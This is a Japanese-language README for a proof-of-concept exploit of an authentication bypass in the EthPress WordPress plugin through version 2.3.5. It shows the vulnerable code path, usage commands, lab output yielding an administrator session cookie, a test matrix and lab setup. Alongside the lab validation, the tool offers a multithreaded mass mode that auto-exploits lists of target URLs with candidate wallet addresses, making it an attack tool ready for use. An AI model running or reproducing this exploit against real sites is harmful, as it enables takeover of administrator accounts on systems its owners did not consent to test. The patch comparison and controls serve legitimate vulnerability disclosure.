
EthPress <= 2.3.5 の未認証認証バイパスを悪用し、ウォレットアドレス経由で WordPress 管理者セッションを取得する検証済みの概念実証(PoC)。
EthPress ウォレットログイン認証バイパスの動作確認済みで検証済みの概念実証。X-1 localhost ラボに対して開発および検証済み。
RAZZ、ユーザー ID 1、roles=['administrator'])を取得。http://localhost:8080 — WordPress + MySQL(Docker、wp_app/wp_db)_plugin-reference/ 内)app/Login.php::verify_login()(v2.3.5)はウォレット署名を検証し、検証失敗時に WP_Error を構築する — しかしreturn を忘れている:
51 if ( !$verified ) {
52 $user = new \WP_Error('ethpress', $verify_error); // dead store, no return
53 }
54 // Log in. // fall-through
55 try {
...
70 $user = $address->log_in(); // wp_set_auth_cookie()
実行はログインブロックへと続き、Address::log_in() が攻撃者から提供されたウォレットアドレスを所有する WordPress ユーザーに解決し、wp_set_auth_cookie() がそのユーザーを認証する。レスポンスは {"success":true,"data":{"message":"Logged in"}}。
# single target
python3 poc.py -u http://localhost:8080 -a 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a
# mass mode (file of targets, 20 threads, JSONL log)
python3 poc.py -f targets.txt -t 20 -o results.jsonl -a 0xVICTIMWALLET
# several candidate addresses against several targets
python3 poc.py -f targets.txt -af addresses.txt -t 20 -o results.jsonl
| フラグ | 意味 |
|---|---|
-f, --file | 一括スキャン + 自動エクスプロイト用のターゲット URL ファイル(1 行に 1 つ、# コメント) |
-t, --threads | 同時ワーカースレッド数(デフォルト 10) |
-o, --output | 出力/ログパス、JSON Lines(デフォルト cve-2026-19125-results.jsonl) |
-u, --url | 単一ターゲット URL(繰り返し指定可能) |
-a, --address | WordPress アカウントにリンクされた被害者のウォレットアドレス |
-af, --address-file | 候補ウォレットアドレスのファイル |
-k, --private-key | 攻撃者の秘密鍵 hex(デフォルト: 攻撃ごとに新規ランダム鍵) |
--timeout | HTTP タイムアウト秒(デフォルト 20) |
--verify-tls | TLS 証明書を検証 |
-q, --quiet | ターゲットごとの進捗行を抑制 |
依存関係は requests のみ(pip install requests)。すべての Ethereum 暗号処理(Keccak-256、secp256k1、RFC 6979 署名、アドレス復元)は標準ライブラリのみで poc.py 内に実装されている。
[*] attacker wallet : fresh random key generated per attack
[*] targets=1 addresses=1 jobs=1 threads=1
[*] http://localhost:8080 EXPLOITED authentication cookie accepted by WordPress (full administrator confirmed)
[!] !! EXPLOITED http://localhost:8080 as user id=1 login=RAZZ roles=['administrator'] (primitive: valid-signature)
[!] !! session cookie: wordpress_logged_in_37d007a5...=RAZZ%7C1790339157%7C...
GET /wp-login.php を実行し、ethpressLoginWP.loginNonce を読み取る。これは匿名(uid=0)セッション用に発行された wp_create_nonce('ethpress_log_in') であり、したがって攻撃者自身の未認証 AJAX 呼び出しに対して有効である。coinbase とは異なる。verify2() は [false, error] を返す — そして 2.3.5 はそれを破棄する。(完全に空の署名も機能する。poc.py は自動的にそれにフォールバックする。)/wp-admin/ に到達し、セッションの REST nonce をスクレイプし、/wp/v2/users/me?context=edit を呼び出す → 実際のユーザー ID、ログイン名、ロールを取得。さらに管理者専用の 4 つの画面へのアクセスを検証する。| テスト | ビルド | 期待値 | 観測結果 | 成果物 |
|---|---|---|---|---|
| ポジティブエクスプロイト、リンク済み管理者アドレス | 2.3.5 | 乗っ取り | id=1 RAZZ roles=['administrator']、4 つの管理者権限すべて | results.jsonl、evidence/run-positive.log |
| ネガティブコントロール、未リンクアドレス | 2.3.5 | セッションなし | "You have not registered on this site" | results-neg.jsonl |
| パッチ済みコントロール、両プリミティブ | 2.3.6 | 拒否 | "Failed to verify signature. The address ... extracted ..." | results-patched.jsonl、evidence/run-patched-236.log |
| 生の curl 再現、ツールなし | 2.3.5 | `Set-Cookie: ...=RAZZ | ...` | 確認済み |
| 署名入力境界マトリクス | 2.3.5 | 混在 | 2 つの決定論的プリミティブ。ランダムブロブは約 50/50 または HTTP 500 | evidence/boundary-matrix.txt |
users_can_register=1、未リンクアドレス | 2.3.5 | 新規サブスクライバーセッション | ユーザー 0xAAAA... がロール subscriber で作成され、ログイン(その後削除) | evidence/results-registration-open.jsonl |
いずれも再現可能:
bash lab-switch-version.sh 2.3.6 # patched -> exploit fails
bash lab-switch-version.sh 2.3.5 # vulnerable -> exploit succeeds
bash evidence/raw-repro.sh # tool-free curl transcript
python3 boundary-test.py # signature-input matrix
# plugin availability (official source only)
curl -s -o /dev/null -w '%{http_code}\n' https://wordpress.org/plugins/ethpress/ # 200
# vulnerable build installed and active
docker cp /tmp/plugin-src/ethpress/vulnerable-extracted/ethpress \
wp_app:/var/www/html/wp-content/plugins/ethpress
docker exec wp_app sh -c 'chown -R www-data:www-data /var/www/html/wp-content/plugins/ethpress \
&& find /var/www/html/wp-content/plugins/ethpress -type d -exec chmod 755 {} + \
&& find /var/www/html/wp-content/plugins/ethpress -type f -exec chmod 644 {} +'
docker exec wp_app wp plugin activate ethpress --allow-root # version 2.3.5
# precondition: admin (id=1 RAZZ) has a linked wallet address
docker exec wp_app wp user meta update 1 ethpress 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a --allow-root
wp user meta update はプラグイン自身の Address::create() が書き込むのとまったく同じストレージキー(update_user_meta($uid, 'ethpress', $coinbase))を書き込むため、前提条件は正規の方法でプロビジョニングされる — ターゲットの人為的な弱体化はない。
diff 用の参照ビルドはプラグインディレクトリの外に存在する: ../_plugin-reference/ethpress/{vulnerable,latest}。
Apache が稼働したままプラグインバージョンをインプレースで交換すると、古いコンパイル済みバイトコードが OPcache に残る。すると PHP は前バージョンのファイルを実行し続ける。2.3.6 の freemius/start.php:584 は freemius/require.php → includes/class-fs-hook-snapshot.php(2.3.6 にのみ存在するファイル)を要求するため、ディスク上に 2.3.5 があってもサイトは HTTP 500 を返した。lab-switch-version.sh は現在、切り替えごとに wp_app を再起動し、/wp-login.php が 200 を返すまで待機する。常にディスク上のバージョンだけでなく、実行中のバージョンを確認すること。
| コード | 意味 |
|---|---|
0 | 少なくとも 1 つのターゲットが EXPLOITED |
1 | 正常に実行されたが、エクスプロイトされたターゲットなし |
2 | 不正な使用 — 入力ファイルの欠落/読み取り不能、またはウォレットアドレスが指定されていない |
-a は唯一正しく取得する必要があるもの-a/--address は、ターゲット WordPress アカウントにすでにリンクされているウォレットアドレスでなければならない — つまり meta_key = 'ethpress' を持つ wp_usermeta 行。PoC はそれを推測できない: アドレスはどこにも公開されていない。
docker exec wp_app wp user meta get 1 ethpress --allow-root
# -> 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a use THIS value
別のアドレスを渡すと、実行は exploited 0 / 1 で終了する — しかしバイパス機構自体は機能しており、アドレスが単にどのユーザーにも解決されないだけである。PoC は現在、ヒットしなかったすべてのケースに対して明示的な「なぜ成功しなかったか」ブロックとヒントを出力するため、これはもはやサイレントではない。
| 症状 | 意味 | 修正 |
|---|---|---|
failed ... "You have not registered on this site; we cannot log you in" | 指定されたアドレスがどのアカウントにもリンクされていない | wp user meta get <id> ethpress のアドレスを渡す |
failed ... "Failed to verify signature. The address ... extracted for address ..." | ターゲットがパッチ済み(>= 2.3.6) | 期待されるコントロール動作。lab-switch-version.sh で 2.3.5 を再インストール |
not_vulnerable ... wp-login.php returned HTTP ... | EthPress が存在しない、ログイン方法が無効、またはサイトがダウン | wp plugin list を確認し、/wp-login.php が 200 を返すことを確認 |
unreachable ... ConnectionError | HTTP 到達不能 | ホスト/ポートを確認 |
cookie_issued_not_accepted | Cookie は発行されたが拒否された | nonce が古くなった(有効期間 5 分)— 再実行 |
| AJAX 呼び出しで HTTP 500、Cookie なし | 回復不能な署名によりバンドルされた暗号処理が例外をスロー | PoC は決定論的プリミティブを使用することでこれを回避 |
ディスク上に 2.3.5 があるのに wp-login.php が 500 を返す | バージョン交換後の古い OPcache | docker restart wp_app(lab-switch-version.sh で対処済み) |